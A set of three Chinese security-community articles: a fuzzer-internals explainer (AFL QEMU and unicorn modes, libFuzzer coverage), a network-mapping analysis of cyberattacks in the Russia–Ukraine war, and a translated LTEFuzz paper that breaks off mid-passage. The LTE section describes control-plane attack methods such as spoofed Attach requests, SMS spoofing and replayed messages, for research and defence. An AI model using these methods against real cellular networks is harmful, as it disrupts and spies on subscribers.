基于`qemu`还可以实现 `afl` 的 `persistent` 模式，具体的实现细节就是在被测函数的开始和末尾插入指令
#define AFL_QEMU_TARGET_i386_SNIPPET \
if (is_persistent) { \
\
if (s->pc == afl_persistent_addr) { \
\
I386_RESTORE_STATE_FOR_PERSISTENT; \
\
if (afl_persistent_ret_addr == 0) { \
\
TCGv_ptr paddr = tcg_const_ptr(afl_persistent_addr); \
tcg_gen_st_tl(paddr, cpu_regs[R_ESP], persisent_retaddr_offset); \
\
} \
tcg_gen_afl_call0(&afl_persistent_loop); \
\
} else if (afl_persistent_ret_addr && s->pc == afl_persistent_ret_addr) { \
\
gen_jmp_im(s, afl_persistent_addr); \
gen_eob(s); \
\
} \
\
}
1. 在被测函数的开头（`afl_persistent_addr`）插入指令调用 `afl_persistent_loop` 函数， 该函数的作用是在每次进入被测函数前初始化一些信息，比如存储程序执行的覆盖率信息的共享内存。
2. 然后在 被测函数的末尾 `afl_persistent_ret_addr` 增加一条跳转指令直接跳转到函数的入口(`afl_persistent_addr`)
3. 通过这样可以实现不断对函数进行循环测试
# AFL unicorn 模式
**源码地址**
https://github.com/vanhauser-thc/AFLplusplus
`afl` 可以使用 `unicorn` 来搜集覆盖率，其实现方式和 `qemu` 模式类似（因为 `unicorn` 本身也就是基于 `qemu`
搞的）.它通过在 `cpu_exec` 执行基本块前插入设置`forkserver`和统计覆盖率的代码，这样在每次执行基本块时 afl 就能获取到覆盖率信息
static tcg_target_ulong cpu_tb_exec(CPUState *cpu, uint8_t *tb_ptr);
@@ -228,6 +231,8 @@
next_tb & TB_EXIT_MASK, tb);
}
AFL_UNICORN_CPU_SNIPPET2; // unicorn 插入的代码
/* cpu_interrupt might be called while translating the
TB, but before it is linked into a potentially
infinite loop and becomes env->current_tb. Avoid
插入的代码如下
#define AFL_UNICORN_CPU_SNIPPET2 do { \
if(afl_first_instr == 0) { \ // 如果是第一次执行就设置 forkserver
afl_setup(); \ // 初始化管道
afl_forkserver(env); \ // 设置 fork server
afl_first_instr = 1; \
} \
afl_maybe_log(tb->pc); \ // 统计覆盖率
} while (0)
和 `qemu` 类似在执行第一个基本块时初始化 `afl` 的命名管道并且设置好 `forkserver`，然后通过 `afl_maybe_log` 与
`afl-fuzz` 端同步覆盖率。
`forkserver` 的作用和 `qemu` 模式中的类似，主要就是接收命令 `fork` 新进程并且处理子进程的基本块翻译请求来提升执行速度。
# libFuzzer unicorn 模式
**源码地址**
https://github.com/PAGalaxyLab/uniFuzzer
`libfuzzer` 支持从外部获取覆盖率信息
__attribute__((section("__libfuzzer_extra_counters")))
uint8_t Counters[PCS_N];
上面的定义表示 `libfuzzer` 从 `Counters` 里面取出覆盖率信息来引导变异。
那么下面就简单了，首先通过 `unicorn` 的基本块 `hook` 事件来搜集执行的基本块信息，然后在回调函数里面更新`Counters`, 就可以把被
`unicorn` 模拟执行的程序的覆盖率信息反馈给 `libfuzzer`
// hook basic block to get code coverage
uc_hook hookHandle;
uc_hook_add(uc, &hookHandle, UC_HOOK_BLOCK, hookBlock, NULL, 1, 0);
下面看看 `hookBlock` 的实现
// update code coverage counters by hooking basic block
void hookBlock(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) {
uint16_t pr = crc16(address);
uint16_t idx = pr ^ prevPR;
Counters[idx]++;
prevPR = (pr >> 1);
}
其实就是模拟 `libfuzzer` 统计覆盖率的方式在 `Counters` 更新覆盖率信息并反馈给 `libfuzzer`.
# 总结
通过分析 `afl` 的 `forkserver` 机制、 `afl qemu`的实现机制以及 `afl unicorn` 的实现机制可以得出`afl`
的变异策略调度模块和被测程序执行和覆盖率信息搜集模块是相对独立的，两者通过命名管道进行通信。假设我们需要实现一种新的覆盖率搜集方式并把覆盖率反馈给
`afl` 来使用 `afl` 的 `fuzz` 策略，我们主要就需要模拟 `fork server` 和 `afl-fuzz`
进行通信，然后把覆盖率反馈给 `afl-fuzz` 即可。
对于 `libfuzzer` 而言，它本身就支持从外部获取程序执行的覆盖率信息（通过 **全局变量** 来传递），所以如果要实现新的覆盖率搜集方式，按照
`libfuzzer` 的规范来实现即可。 | 社区文章 |
**作者：杨冀龙
公众号：神龙叫
原文链接：<https://mp.weixin.qq.com/s/HLvydDDhTfxK-xWsGEuCpA>**
**通过对战争发动前后，俄乌互联网空间测绘数据分析，可以从一个侧面一窥俄乌实体战争态势情况，也能更详细窥视网空对抗情况。**
## 一、战争前期俄罗斯网空防御居于劣势
通过网空测绘显示，俄罗斯网络空间最近一年互联网IP的开放端口暴露数量为：8609万，乌克兰为516万，其中俄罗斯防火墙数量6.6万，乌克兰0.9万。乌方一个防火墙平均覆盖560个资产，俄方一个要覆盖1291个资产，防御密度来看，乌克兰占优势。
**类型** | **俄罗斯** | **乌克兰** | **比例**
---|---|---|---
最近一年的互联网资产数量 | 8609万 | 516万 | 17: 1
防火墙设备 | 6.6万 | 0.9万 | 7 : 1
加密设备 | 1149万 | 198万 | 6 : 1
## 二、从网空测绘可以反馈物理战争进展
我们通过网空IP掉线率，可以了解实体战争态势。
通过对乌克兰互联网空间的240万IP地址，每小时做存活性测绘，得出各个区域的掉线率，用颜色标记。2月25日下午4点左右，掉线情况如下：
用地图标识如下(颜色越深，掉线率越高)：
和网络报道的俄罗斯军队进攻路线和进度高度重合：
可见通过网空测绘，可以掌握部分实体战争进度。
其中乌克兰中部、西部也出现了掉线情况，根据对关键基础设施暴露在互联网的IP地址测绘，根据新闻媒体报道，其网络持续受到DDos攻击，有新闻报道称是俄罗斯所为，但没有给出明确证据。
## 三、战争期间乌克兰互联网受到持续强度打击
### 3.1 乌克兰互联网持续掉线情况
通过对乌克兰240万互联网IP存活测绘显示：
1. 2月15日起在地面冲突前一周左右，乌受到规模化DDoS攻击，和新闻报道一致。
2. 2月乌克兰发布新闻，23-24日乌通过自主防卫手段，开始主动断网，加固保护关基和信息设施。
3. 2月24日开战后前期主动断网系统重新上线，但在随后几天里这些资产持续掉线，持续受到DDos攻击压制，乌克兰临时断网加固没有效果。
时间历程如下图（横轴是时间，纵轴是存活IP数量）：
### 3.2 乌克兰关键基础设施受到持续打击压制
我们对乌克兰关基设施的互联网IP抽样进行存活观察如下：乌克兰在线存活的关键基础设施数量从2月24日起急剧下降，掉线比率超过50%。攻击方使用规模化DDoS等攻击手段瘫痪关基，直接打击乌关基设施。
**分类** | **2月24日** | **3月7日**
---|---|---
关基IP掉线比例 | 58% | 66%
非关基IP掉线比例 | 8% | 16%
从互联网掉线的关基分类和比例如下：
关基的掉线也引起了媒体报道：
参考信息：[https://baijiahao.baidu.com/s?id=1725633189034620481&wfr=spider&for=pc](https://baijiahao.baidu.com/s?id=1725633189034620481&wfr=spider&for=pc)
### 3.3 DDos和网页篡改并列
除了持续受到DDos攻击导致乌克兰大量关基无法提供服务，被压制掉线以外，1月1日到3月1日，我们还监测到121次乌克兰政府网站、新闻媒体网站被篡改事件。和新闻报道基本一致：
篡改内容包括：发布虚假战况、发布虚假政府公告、发布政治宣言、发布恐吓信息等。
参考信息:<https://new.qq.com/omn/20220115/20220115A02K9R00.html>
### 3.4 对关基的网络攻击摧毁设施设备
从网上媒体报道来看，除了DDos以外，乌克兰卫星、政务信息系统等关基设施，也受到了数据擦除、系统擦除、硬件损坏等攻击。
## 四、战前3天乌境内僵尸节点快速增加
如果要进行DDos攻击，除了全球部署僵尸外，更重要的是要在目标国境内部署。我们对黑客常用的其中一款僵尸布控程序在乌克兰境内部署情况测绘显示，在开战前两天，开始了大规模布控，
**数量快速上升2.5倍，似乎预示了战争即将开始。** 该僵尸布控数量如下：
通过对39款僵尸程序在乌布控测绘，战前两天平均上升倍率为2.3倍。
## 五、国际黑客对俄攻击加剧但没有效果
主要成员来自美国的匿名者组织于2月25日向俄罗斯“宣战”，并号召全球黑客对俄罗斯发起网络攻击，随后就导致了俄罗斯的多个关基受到多种手段来自暗网、全球跳板的攻击。
共有50个国际黑客组织宣布参加了此次网络冲突中，其中39个黑客组织支持乌克兰，并持续对俄罗斯发起网络攻击，15个黑客组织表示支持俄罗斯。俄罗斯在全球黑客圈的影响力较弱。
### 5.1 暗网测绘显示对俄网络攻击大幅度增加
我们通过暗网测绘测绘，2月25日我们观察到暗网攻击中对不同国家的攻击数量占比出现了变化，大量攻击指向了俄罗斯：
国家 | 日常占比 | **25** **日占比**
---|---|---
俄罗斯 | 7% | 30%
乌克兰 | 0.1% | 0.1%
美国 | 30% | 20%
中国 | 2% | 1%
### 5.2 跳板对俄网络攻击大幅增加
我们长期对全球黑客使用的跳板IP进行跟踪。2月20日到3月27日对黑客使用的跳板抽样，统计到俄罗斯的攻击数据，我们发现在开战头几天，这些跳板大量被用于攻击俄罗斯，攻击量比平常增加了30倍：
### 5.3 俄罗斯网络在攻击中没有波动
我们对俄罗斯关基单位IP进行抽样持续性测绘显示，在如此激烈的黑客攻击下，俄罗斯关基互联网资产基本没有波动，不受攻击影响：
## 六、通过测绘看俄乌网空对抗特点和对我们的启示
乌克兰网络被攻击有以下特点：
1. 规模化、高强度DDos：持续进行了高强度的DDos攻击，乌克兰关键基础设施始终被压制。
2. 网站受到持续篡改攻击：政府、新闻网站被持续入侵，篡改，发布虚假公告，影响民心。
给我们的启示为 **严防DDos和防篡改** ：
1. 关基单位加强抗DDos防御。尤其是金融、能源、运营商、政府，可以想象如果各健康码同时受到DDos攻击，导致无法提供服务，将会带来多大的社会影响？
2. 政府、媒体需要加强防篡改能力。官方媒体必须保障没有虚假信息发布，尤其关键时刻，代表政府声音，事关重大！
3. 充分利用云防御平台能力。全球提供抗DDos、防篡改、防黑客入侵的主要云防御平台有： a) Akamai.com（阿卡迈）：用于美国的关基互联网侧业务
b) CloudFlare.com（云之光）：用于美国和盟国的互联网安全，4月后，不断有乌克兰互联网系统，接入其防御服务
c) Yunaq.com（创宇盾）：保卫了大量中国的关基和互联网企业安全
## 七、数据源：“钟馗之眼”网空测绘平台
以上数据均来自知道创宇的“钟馗之眼”（ZoomEye.org）网空测绘平台。网络空间测绘是指对网络空间资产进行持续探测跟踪，以了解其属性和用途，掌握其状态和变化。该平台目前已发展成为全球最大规模的网络空间测绘平台之一。
钟馗之眼测绘项目包括：存活测绘、关基测绘、GPS测绘、风险测绘、APT测绘、攻击行为测绘、僵尸测绘、CC测绘、IP测绘、域名测绘、恶意软件测绘……
钟馗之眼用途：能了解网络攻防对抗进展、能掌握网络薄弱环节提前修复、能掌握网络中黑产和黑客使用的IP域名跳板等资源威胁情报……可以提前基于测绘数据，在威胁到来前进行更有效的布防。
* * *
**注意：由于网络空间的隐蔽性，没有任何实际证据证明以上提到的网络攻击来自某个具体国家。**
* * * | 社区文章 |
# 触不可及：LTE 控制平面的动态安全分析
|
##### 译文声明
本文是翻译文章，文章原作者 Hongil Kim,Jiho Lee,Eunkyu Lee,Yongdae Kim，文章来源：eee-security.org
原文地址：<https://www.ieee-security.org/TC/SP2019/SP19-Slides-pdfs/Hongil_Kim_13_-_Touching_the_Untouchables.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
本文基于运营商的长期演进 (LTE) 网络中控制组件的动态测试，进行了对控制平面程序安全方面的广泛研究。对于 LTE
网络中的动态测试，我们通过使用用户可以完全控制的开源 LTE 软件，实现了一个名为 LTEFuzz
的半自动化测试工具。我们通过仔细分析标准定义三个基本安全属性，系统地生成了测试用例。
LTEFuzz基于安全属性生成测试用例并将其发送到目标网络，仅通过监控设备端日志，对问题行为进行分类。因此，我们发现了 36
个之前未披露的漏洞。这些发现分为对五种类型的不当处理：(1)未受保护的初始化过程，(2) 精心制作的明文请求，(3) 缺乏有效完整性保护的消息，(4)
重放的消息，以及 (5) 安全过程绕过。我们通过演示针对运营 LTE 网络的PoC攻击确认了这些漏洞。攻击的影响是拒绝向合法用户提供 LTE 服务、欺骗
SMS 消息或窃听/操纵用户数据流量。还提供了精确的根本原因分析和解决这些问题的潜在对策。蜂窝运营商部分参与维护道德标准并验证我们在商用 LTE
网络中的发现。
## 0x01 Introduction
长期演进 (LTE) 是迄今为止最先进的电信技术。与全球移动通信系统 (GSM) 和通用移动电信系统 (UMTS)
等老一代网络相比，它不仅可以提供更快的数据传输和低延迟，还可以确保针对意外故障的高可靠性和鲁棒性。移动网络运营商正在积极部署 LTE 基础设施；截至
2018 年，已有 200 个国家的 600 家运营商部署了 LTE 网络，全球用户超过 32 亿。
除了促进数据和语音通话等传统电信服务外，LTE
还被认为是在新兴行业（例如自动驾驶汽车和物联网）和全国通信基础设施中提供始终在线的移动连接的关键推动因素（例如，用于铁路通信的公共安全 LTE 和
LTE-R）。通常，这些应用程序对安全至关重要，需要高可用性和稳健性。这意味着，如果这些应用程序因 LTE
服务的意外断开而出现故障，用户的安全可能会面临重大威胁。因此，调查可能因事故或攻击者而导致意外故障的对 LTE 服务程序的潜在威胁至关重要。
第三代合作伙伴计划 (3GPP) 是 LTE
的事实标准，它定义了所有网络组件的行为，包括与早期网络相比已显着改进的安全功能（例如，更强的加密和完整性保护算法、强制使用完整性控制平面协议中的保护）。此外，它还为商用
LTE 芯片组提供一致性测试套件，以确保符合规范。
尽管为消除意外错误的风险做出了许多努力，但最近的研究仍发现了 LTE 网络控制平面程序中的各种安全漏洞。例如，主动攻击者可以在移动设备和网络之间中继 LTE
通信以劫持设备的位置或重定向设备的 DNS 请求 。使用伪基站的攻击可以通过利用设备端设计缺陷和实现错误来跟踪用户设备的位置或拒绝 LTE 服务
。然而，这些研究都没有专注于分析运营 LTE 网络中的网络侧问题，尽管这种性质的漏洞一旦被利用就会影响其许多用户。
由于 LTE 中的控制平面组件仍未得到充分探索，我们通过动态分析精心设计的恶意输入导致的核心网络响应，调查了运营商 LTE
网络中控制平面程序的潜在问题。一般而言，动态测试网络行为具有挑战性，因为：①使用商用智能手机利用控制平面协议非常困难。这是因为商业设备在基带芯片组上实现控制平面协议，很难从中生成任意消息。
②部署的运营商网络是封闭系统。它们的配置是专有的，控制平面日志对设备不可用。因此，很难在设备端正确确定已识别问题的根本原因。
③根据运营商和国家/地区的规定，不允许使用未经认证的设备将信号传输到运营网络。
我们通过将开源 LTE 工具用于测试目的来克服这些挑战。为此，我们通过使用完全可控的 LTE 开源软件实现了一个名为 LTEFuzz
的半自动化测试工具，该工具 1) 动态生成测试用例并将其发送到目标网络或设备，此外，2 )
通过仅检查来自目标的测试器和受害设备中的响应来对有问题的行为进行分类。其次，我们与运营商合作避免道德问题。对于每一个关键测试用例，我们采访了运营商以确定它是否会干扰
LTE 网络。单独处理可能干扰其他用户的可疑用例。关于使用许可频段的规定，我们的测试设备就像一个单一的 LTE
设备一样，单独执行测试消息。因此，附近合法用户的 LTE 服务不会受到任何干扰、性能下降和故障。此外，我们还使用 LTE
手机的身份发送了欺骗性消息。因此，如果我们的测试用例被目标网络接受，只有我们的手机可能会遇到预期的故障。最后，我们根据 1) 对 3GPP 标准的审查和
2) 与运营商的交谈来确认我们的发现，找出根本原因。
为了系统地生成测试用例，我们首先通过广泛分析网络组件的正确行为及其 3GPP
规范中规定的安全要求，创建了三个安全属性。使用这些安全属性，我们确定了目标消息的范围并为特定测试用例生成了规则。然后，测试用例生成器在商用网络的控制平面日志的数据集中变异随机输入，我们在全球范围内收集了大约一年。仅考虑商用日志中的输入的原因是为了防止由于解析错误而导致接收节点意外崩溃。测试用例总数包括
13 条用于检查网络节点行为的消息和 29 条用于检查商用设备行为的消息。
通过对运营网络进行测试，我们发现了 51 个漏洞（36 个新漏洞和 15
个已知漏洞），主要是由于未受保护的初始程序处理不当、精心设计的明文请求、具有无效完整性保护的消息、重放消息，和安全程序绕过。我们还通过利用我们在运营网络中发现的漏洞并严格遵守道德规范来展示所有攻击。我们的攻击可以①拒绝向目标用户或任意用户提供各种
LTE 服务，② 欺骗控制平面消息以泄露隐私，③发送欺骗性短消息服务 (SMS)，以及④窃听和操纵数据通信。
## 0x02 Background
### A. LTE网络架构
下图说明了 LTE 网络架构，它由用户设备 (UE)、演进节点 B (eNB) 和演进分组核心 (EPC) 组件组成。
**UE** 是指一种移动设备，它可以通过连接到基站，为合法用户提供订阅的数据和语音通话等服务。 UE 由国际移动站设备标识 (IMEI) 唯一标识。 UE
的一个显着特征是使用通用用户身份模块 (USIM)，这是一种可以物理插入 UE 的智能卡，其中包括称为国际移动用户身份 (IMSI)
的用户标识符、加密密钥、和算法。
**eNB** 是 LTE 中的基站收发信台 (BTS)，它使 UE 能够与 LTE 网络建立无线连接。一个典型的 eNB
有一个基带单元（BBU）负责处理基带信号，它连接到多个远程无线电单元（RRU），直接处理射频信号的发送和接收。每个 RRU
覆盖一个扇区（也称为小区），因此，一个 eNB 可以覆盖多个小区站点。 eNB 连接到移动管理实体（MME），用于控制平面通信和 4G 网关（
GW）用于控制平面和用户平面数据传输。
**MME** 是LTE网络中的关键控制节点。它对 UE 进行身份验证并管理订户和演进分组系统 (EPS) 承载的移动性状态。用于验证和保护 UE
的密钥包含在归属用户服务器 (HSS) 中。 MME 使用从 HSS 接收的密钥信息通过称为演进分组系统认证和密钥协议 (EPS-AKA) 的认证协议执行
UE 认证。 MME也参与EPS承载的激活/去激活过程，一个逻辑隧道在 UE 和 GW
之间的会话期间创建，用于为互联网连接提供服务。因此，它通过建立和终止会话来管理用户网络访问。用户移动性通过跟踪存储在 MME 中的每个用户的状态（例如，UE
是否连接到网络）来管理，并以小区为单位跟踪 UE 的位置。这些小区被分组到一个跟踪区 (TA) 中。
**4G GW** 由两种类型的 LTE 网关组成：服务网关 (S-GW) 和 PDN 网关 (P-GW)。这些 GW 保证 UE
的移动性并提供互联网服务。当UE从一个基站移动到另一个基站时，S-GW成为锚点，称为切换，P-GW分配IP地址并管理UE的计费数据。它还可以将 UE
连接到互联网。
### B. LTE服务流程
1) **UE附着过程：** UE附着到网络的初始过程（如下图所示）与连接RAN（eNB）和EPC网络（MME）有关。
UE必须先与eNB建立无线连接，然后再附着到EPC网络，通过LTE网络完全连接到互联网。
UE和eNB之间的连接。当UE开机时，它首先根据USIM卡和设备调制解调器中的配置（例如，运营商特定代码、LTE频段和频道）通过侦听来自附近基站的广播消息来找到合适的小区。一旦UE找到合适的小区，(1)它发起随机接入(RA)过程以获得上行链路资源分配和定时信息。然后，它从选定的小区保存称为临时小区无线电网络临时标识符（临时
C-RNTI）的分配标识。利用该临时 C-RNTI 和上行链路分配，(2) UE 尝试通过发送 RRC 连接请求来建立无线电资源控制 (RRC) 连接。
(3) eNB收到请求后，回复RRC Connection setup，包括专用无线资源分配信息和C-RNTI值，用于区分UE进行后续无线通信。
(4)最后，UE通过向小区发送RRC连接建立完成消息，完成连接建立。一旦执行完所有这些步骤，UE 将在上行链路和下行链路中与小区同步。此外，UE 和 eNB
都将其 RRC 状态从 IDLE 更改为 CONNECTED，如 3GPP 标准中所定义那样。在 RRC CONNECTED 状态下，UE 使用 RRC
协议与连接的小区进行通信以进行控制平面过程。在第五节A中，我们表明在这些初始程序中通常不采用安全措施，从而导致目标 eNB 出现严重问题。
UE和MME之间的连接。一旦 UE 成功连接到附近的 eNB，它必须连接到 EPC 网络才能获得 LTE 服务。首先，(4) UE 将 NAS Attach
请求搭载到 RRC Connection complete 并发送给 MME。收到此消息后，(5) MME 通过使用从 HSS 生成的认证向量回复来自 UE
的 NAS 认证请求来启动认证和密钥协商 (AKA) 过程。
UE然后通过NAS认证请求中的内容对MME进行认证，并通过向MME发送NAS认证响应进行回复。在这个阶段，UE和MME都是相互认证的。接下来，在密钥协商方面，
(6) MME 选择要使用的加密和完整性保护算法，并向 UE 发送 NAS 安全模式命令以告知其所选算法。收到此消息后，UE 为 NAS
层生成安全密钥。同样，(7) eNB 继续执行 RRC 安全模式命令以通知 RRC
层和用户平面数据安全的安全算法。在这些步骤之后，所有应根据标准保护的控制平面消息都使用协商的安全算法进行加密和完整性保护。最后，在NAS和RRC层交换可选配置后，（8）MME分配一个全球唯一临时标识（GUTI）来代替永久标识（LTE中的IMSI），并通过传输一个Attach
accept发送GUTI和其它连接信息给 UE。当UE向MME发送Attach complete消息时，Attach过程最终完成。
2） **UE移动性管理：** 每个MME管理自己的跟踪区（TA），每个跟踪区（TAC）由跟踪区码（TAC）标识。每个 TA 包含多个 eNB，这些 eNB
操作多个小区以根据运营商的操作策略有效地覆盖地理区域而没有信号干扰。当传入的服务请求到达特定的 UE 时，MME 首先检查 UE 是 RRC
CONNECTED 还是 RRC IDLE。如果 UE 处于 RRC IDLE 状态，MME 必须唤醒 UE 以进行 RRC
连接和数据流量的其他无线电承载。此过程在 LTE 术语中称为寻呼。由于 MME 只有关于先前服务于 UE 的 TA 的信息，因此 Paging
消息被广播到该 TA 中的所有 eNB。如果在特定的 TA 中没有找到 UE，MME 可以向其他 TA 广播 Paging。请注意，根据分配给 QoS
的相对优先级、信令负载和其他操作问题，用于查找 UE 的特定寻呼策略可能因运营商而异。
## 0x03 The Proposed approach
本节介绍 LTEFuzz，这是一种以半自动方式在运营的 LTE 网络中系统地进行动态安全分析的建议方法。 LTEFuzz 包括三个主要步骤（如下图所示）：
1） **提取安全属性：**
首先，我们从安全方面来广泛分析控制平面过程的LTE标准。根据分析，我们创建了网络和移动设备需要遵循的三个安全属性，以确保它们免受未知的安全威胁。专注于安全方面。根据分析，我们创建了网络和移动设备需要遵循的三个安全属性，以确保它们免受未知的安全威胁。
(2) **生成测试用例：**
接下来，我们生成测试用例来识别目标控制平面组件违反安全属性的情况。测试用例是根据目标协议消息的指定规则及其每个属性的字段生成的。
(3) **问题行为分类：**
在执行测试用例时，我们需要确定UE侧的哪些响应和状态变化被认为是问题行为。为此，我们构建了一个简单的决策树逻辑来对有问题的案例进行分类。我们的模型仅在执行测试用例时考虑
UE 侧的控制平面日志和状态。因此，该模型使 LTEFuzz 能够以自动方式识别有问题的用例。本节的其余部分将考虑这些步骤中的每一个。
### A. 从标准中提取安全属性
对有关控制平面程序和安全要求的规范的彻底分析使我们能够根据运营商的实施和配置策略识别可能导致控制平面程序的机密性和完整性保护被规避的潜在安全漏洞。第一，能够窃听和操纵
LTE
信号的攻击者可能会利用建立安全上下文之前的初始流程。第二，存在相当多的例外情况，其中接收实体会接受没有完整性保护的控制平面消息。第三，虽然规范为控制平面协议（如NAS和RRC）采用了计数器，但它指定了在验证消息完整性时在接收的消息中使用序列号（计数器的部分位）。因此存在消息重放的可能性。根据这些观察，我们创建了下表中列出的三个基本安全属性，每个属性都侧重于描述实体正确响应攻击者恶意行为的能力。我们假设攻击者具有最小特权：攻击者既不拥有向
LTE 网络注册的有效密钥，也没有其他合法用户密钥的信息。此外，由于每个属性侧重于不同的安全方面（即对未受保护程序的错误处理、无效的安全保护消息和强制性
AKA 程序），测试场景和特定目标消息的规则因属性而异。请注意，在考虑安全属性时，我们仅针对各种控制平面协议中的 NAS 和 RRC
协议，因为（1）这些协议用于执行 UE 和网络之间的关键控制平面过程（例如，UE 连接程序、移动性管理和身份验证），(2) 我们能够在 UE
处捕获和分析这些过程，以及 (3) 这些协议中已识别的漏洞直接影响 UE 和网络。
1) **属性 1：** 当攻击者在初始过程中发送精心设计的明文消息时，它确认接收实体（上行链路的 eNB 或 MME 和下行链路的
UE）是否适当地处理非预期输入。为了验证这个属性，我们在选择目标消息时考虑两种情况：（1）可以在安全激活之前发送的精心制作的明文消息，以及（2）根据标准，在安全激活之后不应在未受保护的情况下发送的消息。对于第一种情况，我们主要检查初始明文消息的潜在威胁，这些消息无法受到
LTE
对称密钥加密的性质的保护。对于这些未受保护的消息，很难区分接收到的消息是来自攻击者还是合法用户。另一方面，第二种情况的目的是检查部署的蜂窝组件是否正确实现以拒绝或丢弃不符合标准的无效明文消息。安全激活后传输的消息通常遵循安全关键程序。因此，如果接收实体错误地处理这些受安全保护的消息，攻击者可能会影响
UE 的连接状态或暴露 UE 的私人信息。这里我们假设攻击者既没有订阅特定的移动电话服务，也没有其他 UE
的安全密钥。因此，攻击者将能够创建和发送具有任意内容的明文消息，但这些消息是无效的。在测试过程中，攻击者在调查 eNB 和
MME（上行方向）的行为时充当恶意 UE，在调查 UE 行为（下行方向）时充当恶意 LTE 网络。
**示例案例。** 代表第一种情况的消息示例是 RRC 连接请求。由于初始 RRC 连接过程不受设计保护，因此攻击者可以在建立 RRC
连接时伪造任何内容。没有适当安全措施的受害者 eNB 会接受这些伪造的消息。第二种情况的例子可能是一个普通的 NAS Attach 请求，它被受害者的
GUTI 欺骗了。在正常情况下，当 UE 尝试使用其先前的加密密钥信息（在 3GPP 中称为安全上下文）和 GUTI 执行重新注册时，会发送完整性保护的
NAS 附加请求。收到消息后，MME 允许 UE 注册而不执行 AKA 过程，因为 UE 已经通过其有效的完整性保护消息进行了身份验证。因此，如果 MME
没有正确检查接收到的消息是否必须受到安全保护，攻击者可能会通过发送一个用受害者的 GUTI 欺骗的 NAS Attach
request来断开受害者的现有连接。
2) **属性 2：** 验证接收方是否正确处理了错误地封装了一个安全头的非预期消息。根据规范，除了一些消息，如Attach 请求、TAU
请求和安全模式命令，所有这些仅进行完整性保护的消息，在AKA 过程之后的所有NAS 消息都应该被加密和完整性保护。为此，当 UE 在 AKA 过程之后发送
NAS 消息时，它首先对纯 NAS 消息进行加密，然后计算用于完整性保护的消息验证码
(MAC)（如下图所示）。我们通过研究两种特定情况来确定接收实体是否适当地验证了 (1) 受安全保护消息的完整性和 (2) 序列号，它由 32
位计数器值的八个最低有效位组成，以此来证明此属性在发送和接收实体之间同步。直观地说，如果接收实体不验证消息的完整性，攻击者就可以伪造任何未加密的消息。此外，如果序列号没有得到彻底验证，攻击者可以使用先前从受害者
UE 捕获的安全保护消息发起重放攻击。与属性 1 类似，由于攻击者没有任何密钥来生成有效消息，因此他们在与 eNB
建立连接后发送无效消息。每种情况的目标消息构成了在安全激活之后应该受到保护的每个可能的消息。
**示例案例。** 与第一种情况相关的示例是 NAS 上行链路 NAS 传输，它用于通过 NAS 提供 SMS 的运营商内的 SMS。如果 MME
没有正确验证此消息的完整性，攻击者可以通过伪造 NAS 上行链路 NAS 传输消息的内容来利用它进行 SMS 网络钓鱼攻击。代表第二种情况的另一个示例是
NAS PDN 断开请求。该消息的目的是释放已建立的分组数据网络（PDN）连接。特别是，当用户关闭他们的设备或关闭数据服务时，攻击者可以通过伪装成受害者
UE 向网络发送此消息，如果网络没有正确验证消息中指定的序列号，则网络将接受此重播消息。这可能会导致对合法用户的选择性拒绝服务。
3） **属性3：** 确认3GPP标准中规定的安全过程是否可以被恶意UE或网络绕过。 LTE 标准采用 EPS-AKA 进行 UE
和网络之间的相互认证，以保护控制面和数据面。这包括基于挑战应答机制的 NAS 认证过程和 RRC 和 NAS
层中的安全模式命令，它们是用于控制面和数据面机密性和完整性的会话密钥协商过程。可以使用三种方法来检查是否可以绕过这些安全过程。首先是对LTE标准中采用的密码算法进行安全分析。但是，这种情况超出了本文的范围。其次，可以考虑攻击者操纵在
RRC/NAS 安全模式命令中选择的加密和完整性保护算法以及 NAS 保护消息中的安全标头类型的情况。作者之前对此进行了研究
但仅在一个商用调制解调器中发现了漏洞。最后一种情况涉及省略部分强制性安全程序。如果设备允许这种情况发生，没有合法设备的加密密钥的恶意 LTE
网络甚至可以提供没有机密性和完整性保护的受操纵服务。尽管这些情况如果被利用可能会造成严重威胁，但后果尚未得到调查和公开披露。因此，我们限制此安全属性的范围以验证
UE 是否正确处理恶意 LTE 网络在 RRC 和 NAS 层中忽略强制安全程序（例如身份验证请求和安全模式命令）的情况。
**示例案例。** 一个例子可能是忽略 NAS 身份验证请求，使攻击者能够在没有身份验证和密钥协商的情况下继续遵循服务程序，这两者都是强制性程序。
### B. 为每个属性生成测试用例
尽管我们为每个属性选择了目标消息，但如果我们考虑每个消息中所有可能字段值的输入，则会存在多个测试用例。例如，为验证安全属性 1 的无效纯 NAS
Attach request生成测试用例必须考虑它有 24 个字段，包括一个可选字段，并且此消息中的可用长度可能至少为 16
个字节。显然，测试所有这些可能性是昂贵的。为了减少测试用例的数量，同时执行足够数量的测试来调查目标实体的行为，LTEFuzz
使用商用控制平面消息日志。在这方面，我们通过发送 AT
命令来触发基带芯片组中的许多功能来收集各种控制平面消息。然后我们使用这个日志来构建一个数据库，在其中存储由运营商分隔的每个字段收集的日志中的所有值。因此，当生成器为运营商
A 创建测试用例时，它选择标记为运营商 A 的可能值之一。 当生成测试用例以检查序列号验证（属性 2
中的第二种情况）时，我们通过捕获生成所有测试用例受害UE一侧的数据包。在为初始明文消息（属性 1）和具有无效 MAC 的消息（属性 2
中的第一种情况）生成测试用例时，仅考虑必填字段，因为它们对正确的 LTE
操作至关重要。需要注意的是，当测试用例消息中包含UE的identity字段时，会包含UE的当前标识，例如GUTI或IMSI，以检查接收实体是否改变了受害UE的状态。
### C. 对问题行为进行分类
当测试每个案例时，LTEFuzz
必须识别其中哪些会导致接收实体出现问题行为。如果接收实体的操作日志可用于监控，则可以轻松实现。但是，如果没有运营商或设备供应商的支持，研究人员无法获得蜂窝网络的运行日志。为了克服这个限制，LTEFuzz
通过基于简单的决策树仅监控 UE
中的日志来对问题行为进行分类，如下图所示。该逻辑有两个决策阶段：（1）测试用例（无效消息）是否被接受，以及（2）测试用例是否导致受害UE断开连接。对于第一个决策阶段，我们根据
3GPP 标准定义接收实体接受每个测试用例时的预期响应。然后，LTEFuzz 在发送每个测试用例时检查 UE 是否收到预期的响应。例如，如果测试用例是无效的
NAS 身份请求，则预期响应应该是具有所需消息内容的 NAS 身份响应。一旦收到这个预期的响应，LTEFuzz
就会认为测试用例被接受，并将测试用例归类为异常，因为不应接受具有无效输入的测试用例。在第二个决策阶段，它进一步检查受害UE是否响应测试用例与网络断开连接。如果是，则归类为有问题，这可能导致对受害
UE 的拒绝服务（情况 1）。如果没有接受或未知，它也被归类为有问题，因为这种行为可能被利用来进行欺骗攻击（情况
